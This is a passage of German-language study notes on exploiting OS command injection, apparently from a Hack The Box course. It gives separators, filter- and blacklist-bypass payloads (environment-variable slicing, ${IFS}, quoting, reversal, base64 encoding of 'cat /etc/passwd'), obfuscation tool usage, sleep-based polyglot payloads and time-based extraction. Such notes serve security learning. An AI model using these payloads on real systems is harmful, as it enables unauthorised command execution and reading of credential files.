Command Injection
Manchmal benötigen Applikationen externe Anwendungen auf dem Computer, dazu werden Programme aufgerufen und diese aufgerufen.
Da diese in einer shell Umgebung aufgerufen werden können leicht weitere Kommandos ausgeführt werden.
Manchmal ist die kontrollierbare eingabe in anführungszeichen. Dann müssen diese geschlossen werden.
Auch ist es möglich, das #oast Techniken benutzt werden müssen um blind Command Injections auszunutzen.
| Purpose | Linux | Windows |
|---|---|---|
| current user | whoami | whoami |
| OS | uname -a | ver |
| Network configuration | ifconfig | ipconfig /all |
| Network connections | netstat -an | netstat -an |
| Processes | ps -ef | tasklist |
Tools
Argument Injection
https://sonarsource.github.io/argument-injection-vectors/ Auch kann die Argument injection in Windows mit worst fit benutzt werden. Dabei wird bei der Umwandlung von Konvertierungen nicht existente Zeichen in ähnliche Übersetzt. Auch können Argument Injections auf GtfoArgs gefunden werden.
Kommando separierer
&&&|||Die folgenden funktionieren nur unter Unix basierten Systemen:;- Newline (
0x0aoder\n) Unter Linux ist es zudem möglich die inline execution von Kommandos zu nutzen:` injected command` $( injected command)
In einem Kommando
Innerhalb eines Kommandos können auch Befehle ausgeführt werden.
Dazu können entweder Backticks oder die substitution genutzt werden:
command `ls` $(ls)
Umgehen von Eingabeschutzmechanismen
Um bad character zu vermeiden kann der Befehl: bash -c '' verwendet werden.
Bypass Techniken
https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#filter-bypasses
Umgehen von geblacklisteten Zeichen
Um zeichen zu umgehen, können diese von Umgebungsvariablen geholt werden.
Beispielsweise wird aus der Variable ${PATH:0:1} ein / und aus der Variable ${LS_COLORS:10:1} ein ;.
Mit dem Kommando printenv kann nach weiteren nützlichen gesperrten Zeichen gesucht werden.
Eine weitere Möglichkeit ist das character shifting: $(tr '!-}' '"-~'<<<[) -> \.
Umgehung in Windows
Das Umgehen mit geblacklisteten Zeichen ist auch in Windows möglich, wenn auch ein bißchen anders.
Beispielsweise wenn die Variable %HOMEPATH% zu \Users\htb-student auflöst, könnte als Start 6 genutzt werden und als Ende -11: %HOMEPATH:~6,-11%.
In Powershell ist dies noch einfacher, da hier ein Wort ein Array ist: $env:HOMEPATH[0].
In Powershell kann das Kommando Get-ChildItem Env: genutzt werden, um alle Variablen anzuzeigen.
Umgehung geblacklisteter Kommandos
In Linux können geblacklistete Kommandos umgangen werden, indem Zeichen eingefügt werden, die das Kommando nicht verändern.
Dazu gehören die Anführungszeichen, wobei beachtet werden muss, dass diese in gerader Anzahl benutzt werden müssen: w'h'o"am"i.
Weitere Möglichkeiten sind die Nutzung der Zeichen \ und $@: w\h$@oami.
In Windows kann das Zeichen ^ benutzt werden.
Umgehen von geblacklisteten whitespaces
Es kann auch sein, dass whitespaces verboten sind, hierfür ist eine Möglichkeit das Tab %09 welches Betriebssystemunabhängig ist.
Eine weitere Möglichkeit in Linux ist die Variable ${IFS}, welche allerdings nicht in subshells genutzt werden kann.
Zudem gibt es noch die Brace Expansion: {ls,-la}.
Umgehung geblacklisteter Kommandos
Auch werden manchmal Kommandos geblacklistet, wobei diese dann so verändert werden müssen, dass sie die Filter umgehen.
Umgehung von Case sensitivity
Bei Windows kann ausgenutzt werden, dass alle Befehle Case intensitiv interpretiert werden, also Groß/Kleinschreibung ignoriert wird.
Linux hingegen ist case sensitiv, weshalb hier der case angepasst werden muss: $(tr "[A-Z]" "[a-z]"<<<"WhOaMi"). Daneben gibt es auch noch andere Kommandos für Bash wie: $(a="WhOaMi";printf %s "${a,,}").
Umgehung durch rückwärtskommandos
Auch ist es möglich Kommandos rückwärts zu schreiben und dies wieder rückgängig zu machen: $(rev<<<'imaohw').
In der Windows Powershell funktioniert dies mit: iex "$('imaohw'[-1..-20] -join '')".
Umgehung durch Enkodierung
Auch ist es möglich Enkodierungen wie base64 oder xxd zu nutzen: bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIA==).
Bei der enkodierung für Windows, muss zuerst der String von UTF-8 zu UTF-16 konvertiert werden, wenn man auf Linux ist: echo -n whoami | iconv -f utf-8 -t utf-16le | base64.
Nun kann der Befehl iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" genutzt werden für Powershell.
Obfuskator Script
Mit dem Skript Bashfuscator können toolbasierte Enkodierungen erzeugt werden.
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 --test
Ein ähnliches Tool gibt es für Windows den Dosfuscator, dieses kann durch die Installation von Powershell ausgeführt werden.
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Polyglot Payloads
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
Time based Extraktion
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
Argumente nach der Injektion beenden
In Unix Shells kann das -- als Zeichen des Ende eines Kommandos angezeigt werden.
Alle Argumente nach dem -- werden als Dateinamen und Argumente betrachtet aber nicht als Optionen.